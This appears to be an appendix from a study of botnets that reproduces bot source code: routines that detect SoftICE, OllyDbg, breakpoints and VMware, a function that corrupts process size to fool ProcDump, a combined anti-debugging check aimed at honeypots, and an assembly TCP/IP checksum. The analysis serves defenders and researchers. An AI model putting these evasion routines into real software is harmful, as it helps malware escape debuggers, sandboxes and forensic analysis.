Appendix B: Source Code - What techniques bots use

In this side note, we take a closer look at the source code of some bots. We demonstrate several examples of techniques used by current bots to either speed-up computations or to detect suspicious environments, such as detection of debuggers or virtual machines such as VMware. Furthermore, some bots use different techniques to make forensic analysis much more difficult.

  1. Detecting SoftICE

    /*
            Function: IsSICELoaded
            Description: This method is used by a lot of crypters/compresors it uses INT 41,
                         this interrupt is used by Windows debugging interface to detect if a
                         debugger is present. Only works under Windows.  
            Returns: true if a debugger is detected
    */


    __inline bool IsSICELoaded() {
            _asm {
                    mov ah, 0x43
                    int 0x68
                    cmp ax, 0x0F386 // Will be set by all system debuggers.
                    jz out_

                    xor ax, ax
                    mov es, ax
                    mov bx, word ptr es:[0x68*4]
                    mov es, word ptr es:[0x68*4+2]
                    mov eax, 0x0F43FC80
                    cmp eax, dword ptr es:[ebx]
                    jnz out_
                    jmp normal_
            normal_:
                    xor eax, eax
                    leave
                    ret
            out_:
                    mov eax, 0x1
                    leave
                    ret
            }
            return false;
    }

  2. Detecting SoftICE NT
    /*
            Function: IsSoftIceNTLoaded
            Description: Like the previous one but for use under Win NT only
            Returns: true if SoftIce is loaded
    */


    __inline BOOL IsSoftIceNTLoaded() {
            HANDLE hFile=CreateFile( "\\\\.\\NTICE",
                                    GENERIC_READ | GENERIC_WRITE,
                                    FILE_SHARE_READ | FILE_SHARE_WRITE,
                                    NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

            if(hFile!=INVALID_HANDLE_VALUE) { CloseHandle(hFile); return true; }
                    return false;
            }
  3. Detecting OllyDbg

           
    /*
            Function: IsODBGLoaded
            Description: Tests if OllyDbg/other app debuggers is/are enabled
            Returns: true if a debugger is detected
    */


    __inline bool IsODBGLoaded() {
            char *caption="DAEMON";
            _asm {
                    push 0x00
                    push caption

                    mov eax, fs:[30h]               // pointer to PEB
                    movzx eax, byte ptr[eax+0x2]
                    or al,al
                    jz normal_
                    jmp out_
            normal_:
                    xor eax, eax
                    leave
                    ret
            out_:
                    mov eax, 0x1
                    leave
                    ret
            }
    }

  4. Detecting Breakpoints

    /*
            Functions are declared as __inline, this causes the expansion of this code each time a function
            is invoked, this is to difficult the cracker work by using this function more than once time
           
            Function: IsBPX
            Description: Checks if the given memory address is a breakpoint
            Returns: true if it is a breakpoint
    */


    __inline bool IsBPX(void *address) {
            _asm {
                    mov esi, address        // load function address
                    mov al, [esi]           // load the opcode
                    cmp al, 0xCC            // check if the opcode is CCh
                    je BPXed                // yes, there is a breakpoint

                    // jump to return true
                    xor eax, eax            // false,
                    jmp NOBPX               // no breakpoint
            BPXed:
                    mov eax, 1              // breakpoint found
            NOBPX:
            }
    }

  5. Detecting VMWare
    /*
            executes VMware backdoor I/O function call
    */


    #define VMWARE_MAGIC            0x564D5868      // Backdoor magic number
    #define VMWARE_PORT             0x5658          // Backdoor port number
    #define VMCMD_GET_VERSION       0x0a            // Get version number

    int VMBackDoor(unsigned long *reg_a, unsigned long *reg_b, unsigned long *reg_c, unsigned long *reg_d) {
            unsigned long a, b, c, d;
            b=reg_b?*reg_b:0;
            c=reg_c?*reg_c:0;

            xtry {
                    __asm {
                            push eax
                            push ebx
                            push ecx
                            push edx

                            mov eax, VMWARE_MAGIC
                            mov ebx, b
                            mov ecx, c
                            mov edx, VMWARE_PORT

                            in eax, dx

                            mov a, eax
                            mov b, ebx
                            mov c, ecx
                            mov d, edx

                            pop edx
                            pop ecx
                            pop ebx
                            pop eax
                    }
            } xcatch(...) {}

            if(reg_a) *reg_a=a; if(reg_b) *reg_b=b; if(reg_c) *reg_c=c; if(reg_d) *reg_d=d;
            return a;
    }

    /*
            Check VMware version only
    */


    int VMGetVersion() {
            unsigned long version, magic, command;
            command=VMCMD_GET_VERSION;
            VMBackDoor(&version, &magic, &command, NULL);
            if(magic==VMWARE_MAGIC) return version;
            else return 0; }

    /*
            Check if running inside VMWare
    */


    int IsVMWare() {
            int version=VMGetVersion();
            if(version) return true; else return false;
    }
  6. Fooling ProcDump
    /*
            Fool ProcDump with increasing size
    */


    void FoolProcDump() {
            __asm {
                    mov eax, fs:[0x30]
                    mov eax, [eax+0xC]
                    mov eax, [eax+0xC]
                    add dword ptr [eax+0x20], 0x2000        // increase size variable
            }
    }
  7. Combining everything

    bool CDebugDetect::IsDebug() {
    #ifdef _DEBUG

            return false;

    #else

            if(m_bIsDebug) return true;

    #ifndef _WIN32
            // Anti-PTrace
    //      if(ptrace(PTRACE_TRACEME, 0, 1, 0)<0) {
    //              m_bIsDebug=true; return true;
    //      }
    #else
            pfnIsDebuggerPresent IsDbgPresent=NULL;
            HMODULE hK32=GetModuleHandle("KERNEL32.DLL");
            if(!hK32) hK32=LoadLibrary("KERNEL32.DLL");
            if(hK32) {
                    IsDbgPresent=(pfnIsDebuggerPresent)GetProcAddress(hK32, "IsDebuggerPresent");
            }

            FoolProcDump();
            ScrewWithVirtualPC();

            unsigned long lStartTime=GetTickCount();

            if(IsBPX(&IsBPX)) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "Breakpoint set on IsBPX, debugger active...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }

            if(IsBPX(&IsSICELoaded)) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "Breakpoint set on IsSICELoaded, debugger active...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }

            if(IsBPX(&IsSoftIceNTLoaded)) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "Breakpoint set on IsSoftIceNTLoaded, debugger active...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }

            if(IsBPX(&IsVMWare)) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "Breakpoint set on IsVMWare, debugger active...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }

            if(IsSoftIceNTLoaded()) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "SoftIce named pipe exists, maybe debugger is active...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }

            if(IsSICELoaded()) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "SoftIce is loaded, debugger active...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }

    //      if(IsVMWare()) {
    //#ifdef DBGCONSOLE
    //              g_cConsDbg.Log(5, "Running inside VMWare, probably honeypot...\n");
    //#endif // DBGCONSOLE
    //              m_bIsDebug=true; return true;
    //      }

            if(IsDbgPresent) {
                    if(IsBPX(&IsDbgPresent)) {
    #ifdef DBGCONSOLE
                            g_cConsDbg.Log(5, "Breakpoint set on IsDebuggerPresent, debugger active...\n");
    #endif // DBGCONSOLE
                            m_bIsDebug=true; return true;
                    }

                    if(IsDbgPresent()) {
    #ifdef DBGCONSOLE
                            g_cConsDbg.Log(5, "IsDebuggerPresent returned true, debugger active...\n");
    #endif // DBGCONSOLE
                            m_bIsDebug=true; return true;
                    }
            }

            if((GetTickCount()-lStartTime) > 5000) {
    #ifdef DBGCONSOLE
                    g_cConsDbg.Log(5, "Routine took too long to execute, probably single-step...\n");
    #endif // DBGCONSOLE
                    m_bIsDebug=true; return true;
            }
    #endif // WIN32

            return false;

    #endif // _DEBUG
    }

  8. Calculating TCP/IP checksum in assembler to gain speed

    /*
            This calculates a TCP/IP checksum
    */


    #ifdef WIN32
            #define USE_ASM
    #endif // WIN32

    unsigned short checksum(unsigned short *buffer, int size) {
            unsigned long cksum=0;

    #ifdef USE_ASM

            unsigned long lsize=size;
            char szMMBuf[8], *pMMBuf=szMMBuf;

            __asm {
                    FEMMS

                    MOV                     ECX, lsize                              // ecx=lsize;
                    MOV                     EDX, buffer                             // edx=buffer;
                    MOV                     EBX, cksum                              // ebx=cksum;

                    CMP                     ECX, 2                                  // size<2;
                    JS                      CKSUM_LOOP2                             // goto loop 2

    CKSUM_LOOP:

                    XOR                     EAX, EAX                                // eax=0;
                    MOV                     AX, WORD PTR [EDX]                      // ax=(unsigned short*)*buffer;
                    ADD                     EBX, EAX                                // cksum+=(unsigned short*)*buffer;

                    SUB                     ECX, 2                                  // size-=2;
                    ADD                     EDX, 2                                  // buffer+=2;
                    CMP                     ECX, 1                                  // size>1
                    JG                      CKSUM_LOOP                              // while();

                    CMP                     ECX, 0                                  // if(!size);
                    JE                      CKSUM_FITS                              // fits if equal

    CKSUM_LOOP2:

                    XOR                     EAX, EAX                                // eax=0;
                    MOV                     AL, BYTE PTR [EDX]                      // al=(unsigned char*)*buffer;
                    ADD                     EBX, EAX                                // cksum+=(unsigned char*)*buffer;

                    SUB                     ECX, 1                                  // size-=1;
                    ADD                     EDX, 1                                  // buffer+=1;
                    CMP                     ECX, 0                                  // size>0;
                    JG                      CKSUM_LOOP2                             // while();

    CKSUM_FITS:

                    MOV                     cksum, EBX                              // cksum=ebx;

                    MOV                     EAX, cksum                              // eax=cksum;
                    SHR                     EAX, 16                                 // eax=cksum>>16;
                    MOV                     EBX, cksum                              // ebx=cksum;
                    AND                     EBX, 0xffff                             // ebx=cksum&0xffff;

                    ADD                     EAX, EBX                                // eax=(cksum>>16)+(cksum&0xffff);

                    MOV                     EBX, EAX                                // ebx=cksum;
                    SHR                     EBX, 16                                 // ebx=cksum>>16;
                    ADD                     EAX, EBX                                // cksum+=(cksum>>16);

                    MOV                     cksum, EAX                              // cksum=EAX;

                    FEMMS
            }

    #else // USE_ASM

            while(size>1) { cksum+=*buffer++; size-=2; }
            if(size) cksum+=*(unsigned char*)buffer;

            cksum=(cksum>>16)+(cksum&0xffff);
            cksum+=(cksum>>16);

    #endif // USE_ASM

            return (unsigned short)(~cksum); }
    */